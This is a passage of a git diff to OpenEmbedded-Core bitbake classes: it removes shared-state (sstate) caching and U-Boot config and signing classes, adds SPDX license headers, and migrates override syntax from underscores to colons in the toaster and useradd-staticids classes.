- chmod 0664 $TFILE
- # Skip if it was already created by some other process
- if [ ! -e ${SSTATE_PKG} ]; then
- # Move into place using ln to attempt an atomic op.
- # Abort if it already exists
- ln $TFILE ${SSTATE_PKG} && rm $TFILE
- else
- rm $TFILE
- fi
- [ ! -w ${SSTATE_PKG} ] || touch ${SSTATE_PKG}
-}
-
-python sstate_sign_package () {
- from oe.gpg_sign import get_signer
-
-
- signer = get_signer(d, 'local')
- sstate_pkg = d.getVar('SSTATE_PKG')
- if os.path.exists(sstate_pkg + '.sig'):
- os.unlink(sstate_pkg + '.sig')
- signer.detach_sign(sstate_pkg, d.getVar('SSTATE_SIG_KEY', False), None,
- d.getVar('SSTATE_SIG_PASSPHRASE'), armor=False)
-}
-
-python sstate_report_unihash() {
- report_unihash = getattr(bb.parse.siggen, 'report_unihash', None)
-
- if report_unihash:
- ss = sstate_state_fromvars(d)
- report_unihash(os.getcwd(), ss['task'], d)
-}
-
-#
-# Shell function to decompress and prepare a package for installation
-# Will be run from within SSTATE_INSTDIR.
-#
-sstate_unpack_package () {
- tar -xvzf ${SSTATE_PKG}
- # update .siginfo atime on local/NFS mirror
- [ -w ${SSTATE_PKG}.siginfo ] && [ -h ${SSTATE_PKG}.siginfo ] && touch -a ${SSTATE_PKG}.siginfo
- # Use "! -w ||" to return true for read only files
- [ ! -w ${SSTATE_PKG} ] || touch --no-dereference ${SSTATE_PKG}
- [ ! -w ${SSTATE_PKG}.sig ] || [ ! -e ${SSTATE_PKG}.sig ] || touch --no-dereference ${SSTATE_PKG}.sig
- [ ! -w ${SSTATE_PKG}.siginfo ] || [ ! -e ${SSTATE_PKG}.siginfo ] || touch --no-dereference ${SSTATE_PKG}.siginfo
-}
-
-BB_HASHCHECK_FUNCTION = "sstate_checkhashes"
-
-def sstate_checkhashes(sq_data, d, siginfo=False, currentcount=0, summary=True, **kwargs):
- found = set()
- missed = set()
-
- def gethash(task):
- return sq_data['unihash'][task]
-
- def getpathcomponents(task, d):
- # Magic data from BB_HASHFILENAME
- splithashfn = sq_data['hashfn'][task].split(" ")
- spec = splithashfn[1]
- if splithashfn[0] == "True":
- extrapath = d.getVar("NATIVELSBSTRING") + "/"
- else:
- extrapath = ""
-
- tname = bb.runqueue.taskname_from_tid(task)[3:]
-
- if tname in ["fetch", "unpack", "patch", "populate_lic", "preconfigure"] and splithashfn[2]:
- spec = splithashfn[2]
- extrapath = ""
-
- return spec, extrapath, tname
-
-
- for tid in sq_data['hash']:
-
- spec, extrapath, tname = getpathcomponents(tid, d)
-
- sstatefile = d.expand("${SSTATE_DIR}/" + extrapath + generate_sstatefn(spec, gethash(tid), tname, siginfo, d))
-
- if os.path.exists(sstatefile):
- bb.debug(2, "SState: Found valid sstate file %s" % sstatefile)
- found.add(tid)
- continue
- else:
- missed.add(tid)
- bb.debug(2, "SState: Looked for but didn't find file %s" % sstatefile)
-
- mirrors = d.getVar("SSTATE_MIRRORS")
- if mirrors:
- # Copy the data object and override DL_DIR and SRC_URI
- localdata = bb.data.createCopy(d)
-
- dldir = localdata.expand("${SSTATE_DIR}")
- localdata.delVar('MIRRORS')
- localdata.setVar('FILESPATH', dldir)
- localdata.setVar('DL_DIR', dldir)
- localdata.setVar('PREMIRRORS', mirrors)
-
- bb.debug(2, "SState using premirror of: %s" % mirrors)
-
- # if BB_NO_NETWORK is set but we also have SSTATE_MIRROR_ALLOW_NETWORK,
- # we'll want to allow network access for the current set of fetches.
- if bb.utils.to_boolean(localdata.getVar('BB_NO_NETWORK')) and \
- bb.utils.to_boolean(localdata.getVar('SSTATE_MIRROR_ALLOW_NETWORK')):
- localdata.delVar('BB_NO_NETWORK')
-
- from bb.fetch2 import FetchConnectionCache
- def checkstatus_init(thread_worker):
- thread_worker.connection_cache = FetchConnectionCache()
-
- def checkstatus_end(thread_worker):
- thread_worker.connection_cache.close_connections()
-
- def checkstatus(thread_worker, arg):
- (tid, sstatefile) = arg
-
- localdata2 = bb.data.createCopy(localdata)
- srcuri = "file://" + sstatefile
- localdata.setVar('SRC_URI', srcuri)
- bb.debug(2, "SState: Attempting to fetch %s" % srcuri)
-
- try:
- fetcher = bb.fetch2.Fetch(srcuri.split(), localdata2,
- connection_cache=thread_worker.connection_cache)
- fetcher.checkstatus()
- bb.debug(2, "SState: Successful fetch test for %s" % srcuri)
- found.add(tid)
- if tid in missed:
- missed.remove(tid)
- except:
- missed.add(tid)
- bb.debug(2, "SState: Unsuccessful fetch test for %s" % srcuri)
- pass
- if len(tasklist) >= min_tasks:
- bb.event.fire(bb.event.ProcessProgress(msg, len(tasklist) - thread_worker.tasks.qsize()), d)
-
- tasklist = []
- min_tasks = 100
- for tid in sq_data['hash']:
- if tid in found:
- continue
- spec, extrapath, tname = getpathcomponents(tid, d)
- sstatefile = d.expand(extrapath + generate_sstatefn(spec, gethash(tid), tname, siginfo, d))
- tasklist.append((tid, sstatefile))
-
- if tasklist:
- if len(tasklist) >= min_tasks:
- msg = "Checking sstate mirror object availability"
- bb.event.fire(bb.event.ProcessStarted(msg, len(tasklist)), d)
-
- import multiprocessing
- nproc = min(multiprocessing.cpu_count(), len(tasklist))
-
- bb.event.enable_threadlock()
- pool = oe.utils.ThreadedPool(nproc, len(tasklist),
- worker_init=checkstatus_init, worker_end=checkstatus_end)
- for t in tasklist:
- pool.add_task(checkstatus, t)
- pool.start()
- pool.wait_completion()
- bb.event.disable_threadlock()
-
- if len(tasklist) >= min_tasks:
- bb.event.fire(bb.event.ProcessFinished(msg), d)
-
- inheritlist = d.getVar("INHERIT")
- if "toaster" in inheritlist:
- evdata = {'missed': [], 'found': []};
- for tid in missed:
- spec, extrapath, tname = getpathcomponents(tid, d)
- sstatefile = d.expand(extrapath + generate_sstatefn(spec, gethash(tid), tname, False, d))
- evdata['missed'].append((bb.runqueue.fn_from_tid(tid), bb.runqueue.taskname_from_tid(tid), gethash(tid), sstatefile ) )
- for tid in found:
- spec, extrapath, tname = getpathcomponents(tid, d)
- sstatefile = d.expand(extrapath + generate_sstatefn(spec, gethash(tid), tname, False, d))
- evdata['found'].append((bb.runqueue.fn_from_tid(tid), bb.runqueue.taskname_from_tid(tid), gethash(tid), sstatefile ) )
- bb.event.fire(bb.event.MetadataEvent("MissedSstate", evdata), d)
-
- if summary:
- # Print some summary statistics about the current task completion and how much sstate
- # reuse there was. Avoid divide by zero errors.
- total = len(sq_data['hash'])
- complete = 0
- if currentcount:
- complete = (len(found) + currentcount) / (total + currentcount) * 100
- match = 0
- if total:
- match = len(found) / total * 100
- bb.plain("Sstate summary: Wanted %d Found %d Missed %d Current %d (%d%% match, %d%% complete)" % (total, len(found), len(missed), currentcount, match, complete))
-
- if hasattr(bb.parse.siggen, "checkhashes"):
- bb.parse.siggen.checkhashes(sq_data, missed, found, d)
-
- return found
-
-BB_SETSCENE_DEPVALID = "setscene_depvalid"
-
-def setscene_depvalid(task, taskdependees, notneeded, d, log=None):
- # taskdependees is a dict of tasks which depend on task, each being a 3 item list of [PN, TASKNAME, FILENAME]
- # task is included in taskdependees too
- # Return - False - We need this dependency
- # - True - We can skip this dependency
- import re
-
- def logit(msg, log):
- if log is not None:
- log.append(msg)
- else:
- bb.debug(2, msg)
-
- logit("Considering setscene task: %s" % (str(taskdependees[task])), log)
-
- def isNativeCross(x):
- return x.endswith("-native") or "-cross-" in x or "-crosssdk" in x or x.endswith("-cross")
-
- # We only need to trigger populate_lic through direct dependencies
- if taskdependees[task][1] == "do_populate_lic":
- return True
-
- # stash_locale and gcc_stash_builddir are never needed as a dependency for built objects
- if taskdependees[task][1] == "do_stash_locale" or taskdependees[task][1] == "do_gcc_stash_builddir":
- return True
-
- # We only need to trigger packagedata through direct dependencies
- # but need to preserve packagedata on packagedata links
- if taskdependees[task][1] == "do_packagedata":
- for dep in taskdependees:
- if taskdependees[dep][1] == "do_packagedata":
- return False
- return True
-
- for dep in taskdependees:
- logit(" considering dependency: %s" % (str(taskdependees[dep])), log)
- if task == dep:
- continue
- if dep in notneeded:
- continue
- # do_package_write_* and do_package doesn't need do_package
- if taskdependees[task][1] == "do_package" and taskdependees[dep][1] in ['do_package', 'do_package_write_deb', 'do_package_write_ipk', 'do_package_write_rpm', 'do_packagedata', 'do_package_qa']:
- continue
- # do_package_write_* need do_populate_sysroot as they're mainly postinstall dependencies
- if taskdependees[task][1] == "do_populate_sysroot" and taskdependees[dep][1] in ['do_package_write_deb', 'do_package_write_ipk', 'do_package_write_rpm']:
- return False
- # do_package/packagedata/package_qa don't need do_populate_sysroot
- if taskdependees[task][1] == "do_populate_sysroot" and taskdependees[dep][1] in ['do_package', 'do_packagedata', 'do_package_qa']:
- continue
- # Native/Cross packages don't exist and are noexec anyway
- if isNativeCross(taskdependees[dep][0]) and taskdependees[dep][1] in ['do_package_write_deb', 'do_package_write_ipk', 'do_package_write_rpm', 'do_packagedata', 'do_package', 'do_package_qa']:
- continue
-
- # This is due to the [depends] in useradd.bbclass complicating matters
- # The logic *is* reversed here due to the way hard setscene dependencies are injected
- if (taskdependees[task][1] == 'do_package' or taskdependees[task][1] == 'do_populate_sysroot') and taskdependees[dep][0].endswith(('shadow-native', 'shadow-sysroot', 'base-passwd', 'pseudo-native')) and taskdependees[dep][1] == 'do_populate_sysroot':
- continue
-
- # Consider sysroot depending on sysroot tasks
- if taskdependees[task][1] == 'do_populate_sysroot' and taskdependees[dep][1] == 'do_populate_sysroot':
- # Allow excluding certain recursive dependencies. If a recipe needs it should add a
- # specific dependency itself, rather than relying on one of its dependees to pull
- # them in.
- # See also http://lists.openembedded.org/pipermail/openembedded-core/2018-January/146324.html
- not_needed = False
- excludedeps = d.getVar('_SSTATE_EXCLUDEDEPS_SYSROOT')
- if excludedeps is None:
- # Cache the regular expressions for speed
- excludedeps = []
- for excl in (d.getVar('SSTATE_EXCLUDEDEPS_SYSROOT') or "").split():
- excludedeps.append((re.compile(excl.split('->', 1)[0]), re.compile(excl.split('->', 1)[1])))
- d.setVar('_SSTATE_EXCLUDEDEPS_SYSROOT', excludedeps)
- for excl in excludedeps:
- if excl[0].match(taskdependees[dep][0]):
- if excl[1].match(taskdependees[task][0]):
- not_needed = True
- break
- if not_needed:
- continue
- # For meta-extsdk-toolchain we want all sysroot dependencies
- if taskdependees[dep][0] == 'meta-extsdk-toolchain':
- return False
- # Native/Cross populate_sysroot need their dependencies
- if isNativeCross(taskdependees[task][0]) and isNativeCross(taskdependees[dep][0]):
- return False
- # Target populate_sysroot depended on by cross tools need to be installed
- if isNativeCross(taskdependees[dep][0]):
- return False
- # Native/cross tools depended upon by target sysroot are not needed
- # Add an exception for shadow-native as required by useradd.bbclass
- if isNativeCross(taskdependees[task][0]) and taskdependees[task][0] != 'shadow-native':
- continue
- # Target populate_sysroot need their dependencies
- return False
-
- if taskdependees[task][1] == 'do_shared_workdir':
- continue
-
- if taskdependees[dep][1] == "do_populate_lic":
- continue
-
-
- # Safe fallthrough default
- logit(" Default setscene dependency fall through due to dependency: %s" % (str(taskdependees[dep])), log)
- return False
- return True
-
-addhandler sstate_eventhandler
-sstate_eventhandler[eventmask] = "bb.build.TaskSucceeded"
-python sstate_eventhandler() {
- d = e.data
- writtensstate = d.getVar('SSTATE_CURRTASK')
- if not writtensstate:
- taskname = d.getVar("BB_RUNTASK")[3:]
- spec = d.getVar('SSTATE_PKGSPEC')
- swspec = d.getVar('SSTATE_SWSPEC')
- if taskname in ["fetch", "unpack", "patch", "populate_lic", "preconfigure"] and swspec:
- d.setVar("SSTATE_PKGSPEC", "${SSTATE_SWSPEC}")
- d.setVar("SSTATE_EXTRAPATH", "")
- d.setVar("SSTATE_CURRTASK", taskname)
- siginfo = d.getVar('SSTATE_PKG') + ".siginfo"
- if not os.path.exists(siginfo):
- bb.siggen.dump_this_task(siginfo, d)
- else:
- try:
- os.utime(siginfo, None)
- except PermissionError:
- pass
-
-}
-
-SSTATE_PRUNE_OBSOLETEWORKDIR ?= "1"
-
-# Event handler which removes manifests and stamps file for
-# recipes which are no longer reachable in a build where they
-# once were.
-# Also optionally removes the workdir of those tasks/recipes
-#
-addhandler sstate_eventhandler2
-sstate_eventhandler2[eventmask] = "bb.event.ReachableStamps"
-python sstate_eventhandler2() {
- import glob
- d = e.data
- stamps = e.stamps.values()
- removeworkdir = (d.getVar("SSTATE_PRUNE_OBSOLETEWORKDIR", False) == "1")
- preservestampfile = d.expand('${SSTATE_MANIFESTS}/preserve-stamps')
- preservestamps = []
- if os.path.exists(preservestampfile):
- with open(preservestampfile, 'r') as f:
- preservestamps = f.readlines()
- seen = []
-
- # The machine index contains all the stamps this machine has ever seen in this build directory.
- # We should only remove things which this machine once accessed but no longer does.
- machineindex = set()
- bb.utils.mkdirhier(d.expand("${SSTATE_MANIFESTS}"))
- mi = d.expand("${SSTATE_MANIFESTS}/index-machine-${MACHINE}")
- if os.path.exists(mi):
- with open(mi, "r") as f:
- machineindex = set(line.strip() for line in f.readlines())
-
- for a in sorted(list(set(d.getVar("SSTATE_ARCHS").split()))):
- toremove = []
- i = d.expand("${SSTATE_MANIFESTS}/index-" + a)
- if not os.path.exists(i):
- continue
- with open(i, "r") as f:
- lines = f.readlines()
- for l in lines:
- try:
- (stamp, manifest, workdir) = l.split()
- if stamp not in stamps and stamp not in preservestamps and stamp in machineindex:
- toremove.append(l)
- if stamp not in seen:
- bb.debug(2, "Stamp %s is not reachable, removing related manifests" % stamp)
- seen.append(stamp)
- except ValueError:
- bb.fatal("Invalid line '%s' in sstate manifest '%s'" % (l, i))
-
- if toremove:
- msg = "Removing %d recipes from the %s sysroot" % (len(toremove), a)
- bb.event.fire(bb.event.ProcessStarted(msg, len(toremove)), d)
-
- removed = 0
- for r in toremove:
- (stamp, manifest, workdir) = r.split()
- for m in glob.glob(manifest + ".*"):
- if m.endswith(".postrm"):
- continue
- sstate_clean_manifest(m, d)
- bb.utils.remove(stamp + "*")
- if removeworkdir:
- bb.utils.remove(workdir, recurse = True)
- lines.remove(r)
- removed = removed + 1
- bb.event.fire(bb.event.ProcessProgress(msg, removed), d)
-
- bb.event.fire(bb.event.ProcessFinished(msg), d)
-
- with open(i, "w") as f:
- for l in lines:
- f.write(l)
- machineindex |= set(stamps)
- with open(mi, "w") as f:
- for l in machineindex:
- f.write(l + "\n")
-
- if preservestamps:
- os.remove(preservestampfile)
-}
diff --git a/meta/classes/terminal.bbclass b/meta/classes/terminal.bbclass
index 6059ae95e0..2dfc7db255 100644
--- a/meta/classes/terminal.bbclass
+++ b/meta/classes/terminal.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
OE_TERMINAL ?= 'auto'
OE_TERMINAL[type] = 'choice'
OE_TERMINAL[choices] = 'auto none \
@@ -26,6 +32,9 @@ def emit_terminal_func(command, envdata, d):
bb.utils.mkdirhier(os.path.dirname(runfile))
with open(runfile, 'w') as script:
+ # Override the shell shell_trap_code specifies.
+ # If our shell is bash, we might well face silent death.
+ script.write("#!/bin/bash\n")
script.write(bb.build.shell_trap_code())
bb.data.emit_func(cmd_func, script, envdata)
script.write(cmd_func)
@@ -37,7 +46,7 @@ def emit_terminal_func(command, envdata, d):
def oe_terminal(command, title, d):
import oe.data
import oe.terminal
-
+
envdata = bb.data.init()
for v in os.environ:
diff --git a/meta/classes/texinfo.bbclass b/meta/classes/texinfo.bbclass
deleted file mode 100644
index f46bacabd4..0000000000
--- a/meta/classes/texinfo.bbclass
+++ /dev/null
@@ -1,18 +0,0 @@
-# This class is inherited by recipes whose upstream packages invoke the
-# texinfo utilities at build-time. Native and cross recipes are made to use the
-# dummy scripts provided by texinfo-dummy-native, for improved performance.
-# Target architecture recipes use the genuine Texinfo utilities. By default,
-# they use the Texinfo utilities on the host system. If you want to use the
-# Texinfo recipe, you can remove texinfo-native from ASSUME_PROVIDED and
-# makeinfo from SANITY_REQUIRED_UTILITIES.
-
-TEXDEP = "${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'texinfo-replacement-native', 'texinfo-dummy-native', d)}"
-TEXDEP_class-native = "texinfo-dummy-native"
-TEXDEP_class-cross = "texinfo-dummy-native"
-TEXDEP_class-crosssdk = "texinfo-dummy-native"
-TEXDEP_class-cross-canadian = "texinfo-dummy-native"
-DEPENDS_append = " ${TEXDEP}"
-
-# libtool-cross doesn't inherit cross
-TEXDEP_pn-libtool-cross = "texinfo-dummy-native"
-
diff --git a/meta/classes/toaster.bbclass b/meta/classes/toaster.bbclass
index 9518ddf7a4..03c4f3a930 100644
--- a/meta/classes/toaster.bbclass
+++ b/meta/classes/toaster.bbclass
@@ -3,7 +3,7 @@
#
# Copyright (C) 2013 Intel Corporation
#
-# Released under the MIT license (see COPYING.MIT)
+# SPDX-License-Identifier: MIT
#
# This bbclass is designed to extract data used by OE-Core during the build process,
# for recording in the Toaster system.
@@ -101,12 +101,12 @@ def _toaster_load_pkgdatafile(dirpath, filepath):
for line in fin:
try:
kn, kv = line.strip().split(": ", 1)
- m = re.match(r"^PKG_([^A-Z:]*)", kn)
+ m = re.match(r"^PKG:([^A-Z:]*)", kn)
if m:
pkgdata['OPKGN'] = m.group(1)
- kn = "_".join([x for x in kn.split("_") if x.isupper()])
- pkgdata[kn] = kv.strip()
- if kn == 'FILES_INFO':
+ kn = kn.split(":")[0]
+ pkgdata[kn] = kv
+ if kn.startswith('FILES_INFO'):
pkgdata[kn] = json.loads(kv)
except ValueError:
diff --git a/meta/classes/typecheck.bbclass b/meta/classes/typecheck.bbclass
index 72da932232..160f7a024b 100644
--- a/meta/classes/typecheck.bbclass
+++ b/meta/classes/typecheck.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Check types of bitbake configuration variables
#
# See oe.types for details.
diff --git a/meta/classes/uboot-config.bbclass b/meta/classes/uboot-config.bbclass
deleted file mode 100644
index 89ff970fcc..0000000000
--- a/meta/classes/uboot-config.bbclass
+++ /dev/null
@@ -1,57 +0,0 @@
-# Handle U-Boot config for a machine
-#
-# The format to specify it, in the machine, is:
-#
-# UBOOT_CONFIG ??= <default>
-# UBOOT_CONFIG[foo] = "config,images,binary"
-#
-# or
-#
-# UBOOT_MACHINE = "config"
-#
-# Copyright 2013, 2014 (C) O.S. Systems Software LTDA.
-
-UBOOT_BINARY ?= "u-boot.${UBOOT_SUFFIX}"
-
-python () {
- ubootmachine = d.getVar("UBOOT_MACHINE")
- ubootconfigflags = d.getVarFlags('UBOOT_CONFIG')
- ubootbinary = d.getVar('UBOOT_BINARY')
- ubootbinaries = d.getVar('UBOOT_BINARIES')
- # The "doc" varflag is special, we don't want to see it here
- ubootconfigflags.pop('doc', None)
- ubootconfig = (d.getVar('UBOOT_CONFIG') or "").split()
-
- if not ubootmachine and not ubootconfig:
- PN = d.getVar("PN")
- FILE = os.path.basename(d.getVar("FILE"))
- bb.debug(1, "To build %s, see %s for instructions on \
- setting up your machine config" % (PN, FILE))
- raise bb.parse.SkipRecipe("Either UBOOT_MACHINE or UBOOT_CONFIG must be set in the %s machine configuration." % d.getVar("MACHINE"))
-
- if ubootmachine and ubootconfig:
- raise bb.parse.SkipRecipe("You cannot use UBOOT_MACHINE and UBOOT_CONFIG at the same time.")
-
- if ubootconfigflags and ubootbinaries:
- raise bb.parse.SkipRecipe("You cannot use UBOOT_BINARIES as it is internal to uboot_config.bbclass.")
-
- if len(ubootconfig) > 0:
- for config in ubootconfig:
- for f, v in ubootconfigflags.items():
- if config == f:
- items = v.split(',')
- if items[0] and len(items) > 3:
- raise bb.parse.SkipRecipe('Only config,images,binary can be specified!')
- d.appendVar('UBOOT_MACHINE', ' ' + items[0])
- # IMAGE_FSTYPES appending
- if len(items) > 1 and items[1]:
- bb.debug(1, "Appending '%s' to IMAGE_FSTYPES." % items[1])
- d.appendVar('IMAGE_FSTYPES', ' ' + items[1])
- if len(items) > 2 and items[2]:
- bb.debug(1, "Appending '%s' to UBOOT_BINARIES." % items[2])
- d.appendVar('UBOOT_BINARIES', ' ' + items[2])
- else:
- bb.debug(1, "Appending '%s' to UBOOT_BINARIES." % ubootbinary)
- d.appendVar('UBOOT_BINARIES', ' ' + ubootbinary)
- break
-}
diff --git a/meta/classes/uboot-sign.bbclass b/meta/classes/uboot-sign.bbclass
deleted file mode 100644
index 713196df41..0000000000
--- a/meta/classes/uboot-sign.bbclass
+++ /dev/null
@@ -1,132 +0,0 @@
-# This file is part of U-Boot verified boot support and is intended to be
-# inherited from u-boot recipe and from kernel-fitimage.bbclass.
-#
-# The signature procedure requires the user to generate an RSA key and
-# certificate in a directory and to define the following variable:
-#
-# UBOOT_SIGN_KEYDIR = "/keys/directory"
-# UBOOT_SIGN_KEYNAME = "dev" # keys name in keydir (eg. "dev.crt", "dev.key")
-# UBOOT_MKIMAGE_DTCOPTS = "-I dts -O dtb -p 2000"
-# UBOOT_SIGN_ENABLE = "1"
-#
-# As verified boot depends on fitImage generation, following is also required:
-#
-# KERNEL_CLASSES ?= " kernel-fitimage "
-# KERNEL_IMAGETYPE ?= "fitImage"
-#
-# The signature support is limited to the use of CONFIG_OF_SEPARATE in U-Boot.
-#
-# The tasks sequence is set as below, using DEPLOY_IMAGE_DIR as common place to
-# treat the device tree blob:
-#
-# * u-boot:do_install_append
-# Install UBOOT_DTB_BINARY to datadir, so that kernel can use it for
-# signing, and kernel will deploy UBOOT_DTB_BINARY after signs it.
-#
-# * virtual/kernel:do_assemble_fitimage
-# Sign the image
-#
-# * u-boot:do_deploy[postfuncs]
-# Deploy files like UBOOT_DTB_IMAGE, UBOOT_DTB_SYMLINK and others.
-#
-# For more details on signature process, please refer to U-Boot documentation.
-
-# Signature activation.
-UBOOT_SIGN_ENABLE ?= "0"
-
-# Default value for deployment filenames.
-UBOOT_DTB_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.dtb"
-UBOOT_DTB_BINARY ?= "u-boot.dtb"
-UBOOT_DTB_SYMLINK ?= "u-boot-${MACHINE}.dtb"
-UBOOT_NODTB_IMAGE ?= "u-boot-nodtb-${MACHINE}-${PV}-${PR}.${UBOOT_SUFFIX}"
-UBOOT_NODTB_BINARY ?= "u-boot-nodtb.${UBOOT_SUFFIX}"
-UBOOT_NODTB_SYMLINK ?= "u-boot-nodtb-${MACHINE}.${UBOOT_SUFFIX}"
-
-# Functions in this bbclass is for u-boot only
-UBOOT_PN = "${@d.getVar('PREFERRED_PROVIDER_u-boot') or 'u-boot'}"
-
-concat_dtb_helper() {
- if [ -e "${UBOOT_DTB_BINARY}" ]; then
- ln -sf ${UBOOT_DTB_IMAGE} ${DEPLOYDIR}/${UBOOT_DTB_BINARY}
- ln -sf ${UBOOT_DTB_IMAGE} ${DEPLOYDIR}/${UBOOT_DTB_SYMLINK}
- fi
-
- if [ -f "${UBOOT_NODTB_BINARY}" ]; then
- install ${UBOOT_NODTB_BINARY} ${DEPLOYDIR}/${UBOOT_NODTB_IMAGE}
- ln -sf ${UBOOT_NODTB_IMAGE} ${DEPLOYDIR}/${UBOOT_NODTB_SYMLINK}
- ln -sf ${UBOOT_NODTB_IMAGE} ${DEPLOYDIR}/${UBOOT_NODTB_BINARY}
- fi
-
- # Concatenate U-Boot w/o DTB & DTB with public key
- # (cf. kernel-fitimage.bbclass for more details)
- deployed_uboot_dtb_binary='${DEPLOY_DIR_IMAGE}/${UBOOT_DTB_IMAGE}'
- if [ "x${UBOOT_SUFFIX}" = "ximg" -o "x${UBOOT_SUFFIX}" = "xrom" ] && \
- [ -e "$deployed_uboot_dtb_binary" ]; then
- oe_runmake EXT_DTB=$deployed_uboot_dtb_binary
- install ${UBOOT_BINARY} ${DEPLOYDIR}/${UBOOT_IMAGE}
- elif [ -e "${DEPLOYDIR}/${UBOOT_NODTB_IMAGE}" -a -e "$deployed_uboot_dtb_binary" ]; then
- cd ${DEPLOYDIR}
- cat ${UBOOT_NODTB_IMAGE} $deployed_uboot_dtb_binary | tee ${B}/${CONFIG_B_PATH}/${UBOOT_BINARY} > ${UBOOT_IMAGE}
- else
- bbwarn "Failure while adding public key to u-boot binary. Verified boot won't be available."
- fi
-}
-
-concat_dtb() {
- if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${PN}" = "${UBOOT_PN}" -a -n "${UBOOT_DTB_BINARY}" ]; then
- mkdir -p ${DEPLOYDIR}
- if [ -n "${UBOOT_CONFIG}" ]; then
- for config in ${UBOOT_MACHINE}; do
- CONFIG_B_PATH="${config}"
- cd ${B}/${config}
- concat_dtb_helper
- done
- else
- CONFIG_B_PATH=""
- cd ${B}
- concat_dtb_helper
- fi
- fi
-}
-
-# Install UBOOT_DTB_BINARY to datadir, so that kernel can use it for
-# signing, and kernel will deploy UBOOT_DTB_BINARY after signs it.
-install_helper() {
- if [ -f "${UBOOT_DTB_BINARY}" ]; then
- install -d ${D}${datadir}
- # UBOOT_DTB_BINARY is a symlink to UBOOT_DTB_IMAGE, so we
- # need both of them.
- install ${UBOOT_DTB_BINARY} ${D}${datadir}/${UBOOT_DTB_IMAGE}
- ln -sf ${UBOOT_DTB_IMAGE} ${D}${datadir}/${UBOOT_DTB_BINARY}
- else
- bbwarn "${UBOOT_DTB_BINARY} not found"
- fi
-}
-
-do_install_append() {
- if [ "${UBOOT_SIGN_ENABLE}" = "1" -a "${PN}" = "${UBOOT_PN}" -a -n "${UBOOT_DTB_BINARY}" ]; then
- if [ -n "${UBOOT_CONFIG}" ]; then
- for config in ${UBOOT_MACHINE}; do
- cd ${B}/${config}
- install_helper
- done
- else
- cd ${B}
- install_helper
- fi
- fi
-}
-
-do_deploy_prepend_pn-${UBOOT_PN}() {
- if [ "${UBOOT_SIGN_ENABLE}" = "1" -a -n "${UBOOT_DTB_BINARY}" ]; then
- concat_dtb
- fi
-}
-
-python () {
- if d.getVar('UBOOT_SIGN_ENABLE') == '1' and d.getVar('PN') == d.getVar('UBOOT_PN') and d.getVar('UBOOT_DTB_BINARY'):
- kernel_pn = d.getVar('PREFERRED_PROVIDER_virtual/kernel')
-
- # Make "bitbake u-boot -cdeploy" deploys the signed u-boot.dtb
- d.appendVarFlag('do_deploy', 'depends', ' %s:do_deploy' % kernel_pn)
-}
diff --git a/meta/classes/useradd-staticids.bbclass b/meta/classes/useradd-staticids.bbclass
index 3a1b5f1320..1dbcba2bf1 100644
--- a/meta/classes/useradd-staticids.bbclass
+++ b/meta/classes/useradd-staticids.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# In order to support a deterministic set of 'dynamic' users/groups,
# we need a function to reformat the params based on a static file
def update_useradd_static_config(d):
@@ -41,7 +47,7 @@ def update_useradd_static_config(d):
def handle_missing_id(id, type, pkg, files, var, value):
# For backwards compatibility we accept "1" in addition to "error"
error_dynamic = d.getVar('USERADD_ERROR_DYNAMIC')
- msg = "%s - %s: %sname %s does not have a static ID defined." % (d.getVar('PN'), pkg, type, id)
+ msg = 'Recipe %s, package %s: %sname "%s" does not have a static ID defined.' % (d.getVar('PN'), pkg, type, id)
if files:
msg += " Add %s to one of these files: %s" % (id, files)
else:
@@ -77,7 +83,7 @@ def update_useradd_static_config(d):
try:
uaargs = parser.parse_args(oe.useradd.split_args(param))
except Exception as e:
- bb.fatal("%s: Unable to parse arguments for USERADD_PARAM_%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
+ bb.fatal("%s: Unable to parse arguments for USERADD_PARAM:%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
# Read all passwd files specified in USERADD_UID_TABLES or files/passwd
# Use the standard passwd layout:
@@ -140,13 +146,13 @@ def update_useradd_static_config(d):
uaargs.gid = uaargs.groupid
uaargs.user_group = None
if newgroup and is_pkg:
- groupadd = d.getVar("GROUPADD_PARAM_%s" % pkg)
+ groupadd = d.getVar("GROUPADD_PARAM:%s" % pkg)
if groupadd:
# Only add the group if not already specified
if not uaargs.groupname in groupadd:
- d.setVar("GROUPADD_PARAM_%s" % pkg, "%s; %s" % (groupadd, newgroup))
+ d.setVar("GROUPADD_PARAM:%s" % pkg, "%s; %s" % (groupadd, newgroup))
else:
- d.setVar("GROUPADD_PARAM_%s" % pkg, newgroup)
+ d.setVar("GROUPADD_PARAM:%s" % pkg, newgroup)
uaargs.comment = "'%s'" % field[4] if field[4] else uaargs.comment
uaargs.home_dir = field[5] or uaargs.home_dir
@@ -174,8 +180,6 @@ def update_useradd_static_config(d):
newparam += ['', ' --non-unique'][uaargs.non_unique]
if uaargs.password != None:
newparam += ['', ' --password %s' % uaargs.password][uaargs.password != None]
- elif uaargs.clear_password:
- newparam += ['', ' --clear-password %s' % uaargs.clear_password][uaargs.clear_password != None]
newparam += ['', ' --root %s' % uaargs.root][uaargs.root != None]
newparam += ['', ' --system'][uaargs.system]
newparam += ['', ' --shell %s' % uaargs.shell][uaargs.shell != None]
@@ -198,7 +202,7 @@ def update_useradd_static_config(d):
# If we're processing multiple lines, we could have left over values here...
gaargs = parser.parse_args(oe.useradd.split_args(param))
except Exception as e:
- bb.fatal("%s: Unable to parse arguments for GROUPADD_PARAM_%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
+ bb.fatal("%s: Unable to parse arguments for GROUPADD_PARAM:%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
# Read all group files specified in USERADD_GID_TABLES or files/group
# Use the standard group layout:
@@ -236,8 +240,6 @@ def update_useradd_static_config(d):
newparam += ['', ' --non-unique'][gaargs.non_unique]
if gaargs.password != None:
newparam += ['', ' --password %s' % gaargs.password][gaargs.password != None]
- elif gaargs.clear_password:
- newparam += ['', ' --clear-password %s' % gaargs.clear_password][gaargs.clear_password != None]
